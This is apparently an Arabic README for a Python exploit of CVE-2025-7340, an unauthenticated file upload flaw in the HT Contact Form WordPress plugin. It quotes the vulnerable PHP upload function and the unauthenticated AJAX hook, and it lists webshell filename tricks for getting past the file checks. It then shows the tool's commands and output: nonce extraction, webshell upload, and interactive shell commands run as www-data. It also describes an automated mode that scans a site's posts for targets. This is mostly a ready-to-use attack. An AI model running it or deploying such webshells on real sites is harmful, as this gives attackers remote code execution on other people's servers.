
استغلال Python لـ CVE-2025-7340، ثغرة رفع ملفات غير مصادق عليها في أداة HT Contact Form الخاصة بـ WordPress، مما يتيح تنفيذ الأوامر عن بُعد عبر نشر ويب شيل.
موقع الثغرة: ht-contactform/admin/Includes/Services/FileManager.php
الوظيفة الرئيسية: temp_file_upload()
temp_file_upload#63行
public function temp_file_upload($file) {
$destination = "{$this->dir}/temp";
$this->maybe_create_directories($destination);
// Validate file
$validation = $this->validate($file);
if (!$validation['valid']) {
wp_send_json_error($validation['message']);
return;
}
// Process the file
$filename = $this->process_filename($file['name']);
$file_path = "{$destination}/$filename";
// Move file to temporary directory
if (move_uploaded_file($file['tmp_name'], $file_path)) {
wp_send_json_success([
'file_id' => $filename,
'file_name' => $file['name'],
'file_size' => $file['size']
]);
return;
}
}
AJAXموقع الملف: ht-contactform/admin/Includes/Ajax.php:
#46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
المشكلة: استخدام خطاف wp_ajax_nopriv_، مما يعني أن المستخدمين غير المصادق عليهم يمكنهم أيضًا الوصول إلى وظيفة رفع الملفات.
تحليل السبب الجذري:
validate في FileManager.php، يتم فقط فحص أخطاء رفع PHP، ولا يوجد أي تحقق من نوع الملف أو الامتداد أو نوع MIME.Fields.php، ولكن يتم استخدامها فقط للتحقق من جانب العميل (خاصية accept) أثناء عرض النموذج، ولا يتم استخدام هذه التكوينات للتحقق على جانب الخادم على الإطلاق.sanitize_file_name() الأحرف الخاصة بشكل أساسي، ولا تمنع الامتدادات الخطيرة، ويمكن للمهاجم رفع ملفات مثل .php، .php3، .phtml إلخ.// Ajax.php 第46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
تحليل المشكلة:
هجوم مباشر: يمكن للمهاجم إرسال طلب POST مباشرة إلى /wp-admin/admin-ajax.php مع action = ht_form_temp_file_upload
تجاوز التحقق من جانب العميل: يستخدم جانب العميل خاصية accept لتقييد أنواع الملفات، ولكن يمكن للمهاجم تجاوزها بسهولة
تنفيذ الملف: يمكن تنفيذ ملفات PHP المرفوعة بواسطة خادم الويب، مما يؤدي إلى تنفيذ تعليمات برمجية عن بعد
shell.php.jpg
shell.php.png
shell.php.gif
shell.PHP
shell.Php
shell.pHp
shell.php%00.jpg
لاحظ أن عنوان URL يكون صالحًا فقط إذا كانت المقالة التي تم نشر المكون الإضافي فيها موجودة، لذلك أضفت وظيفة script kiddie 02
01[اختبار فردي] مثال:
python RCE.py -u http://192.168.162.131:8081/2025/08/04/test-0-1/
بدء المحاولة.......
جارٍ الحصول على الصفحة المستهدفة...
جارٍ استخراج المعاملات...
Nonce المستخرج: b05a39ff55
نقطة نهاية AJAX: http://192.168.162.131:8081/wp-admin/admin-ajax.php
معرف النموذج: 6
جارٍ إنشاء webshell...
جارٍ رفع shell، يرجى الانتظار...
[+] تم استغلال الثغرة بنجاح!
عنوان Webshell: wp-content/uploads/ht_form/temp/6890c4e6f389c-shell.php
[+] تم الدخول إلى وضع التفاعل مع shell، أدخل 'exit' للخروج!
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
تم الخروج من وضع التفاعل
02[اختبار الدليل الجذر] مثال:
python RCE.py -r http://192.168.162.131:8081
[*] يرجى إدخال التاريخ (الافتراضي 20250804):
[*] التاريخ المستخدم: 20250804
[*] جارٍ مسح التاريخ: 2025-08-04
[*] عنوان المسح: http://192.168.162.131:8081/2025/08/04/
[*] تم العثور على المقالة 2: Test.0.1
[*] تم العثور على المقالة 3: 8 月 4, 2025
[*] تم العثور على المقالة 6: 世界,您好!
[*] تم العثور على المقالة 7: 8 月 4, 2025
[*] بدء استغلال الثغرة...
[*] جارٍ استغلال: http://192.168.162.131:8081/2025/08/04/test-0-1/
بدء المحاولة.......
جارٍ الحصول على الصفحة المستهدفة...
جارٍ استخراج المعاملات...
Nonce المستخرج: b05a39ff55
نقطة نهاية AJAX: http://192.168.162.131:8081/wp-admin/admin-ajax.php
معرف النموذج: 6
جارٍ إنشاء webshell...
جارٍ رفع shell، يرجى الانتظار...
[+] تم استغلال الثغرة بنجاح!
عنوان Webshell: wp-content/uploads/ht_form/temp/6890c53ca8d5c-shell.php
[+] تم الدخول إلى وضع التفاعل مع shell، أدخل 'exit' للخروج!
shell> whoami
www-data
shell> ls
68908c7a7f86d-shell.php
68908fdbba025-shell.php
6890917c70228-shell.php
6890919055905-shell.php
689094afb2f6e-shell.php
6890977a20a7c-shell.php
689097bf2dce9-Users.txt
6890c4e6f389c-shell.php
6890c53ca8d5c-shell.php
index.php
shell> exit
تم الخروج من وضع التفاعل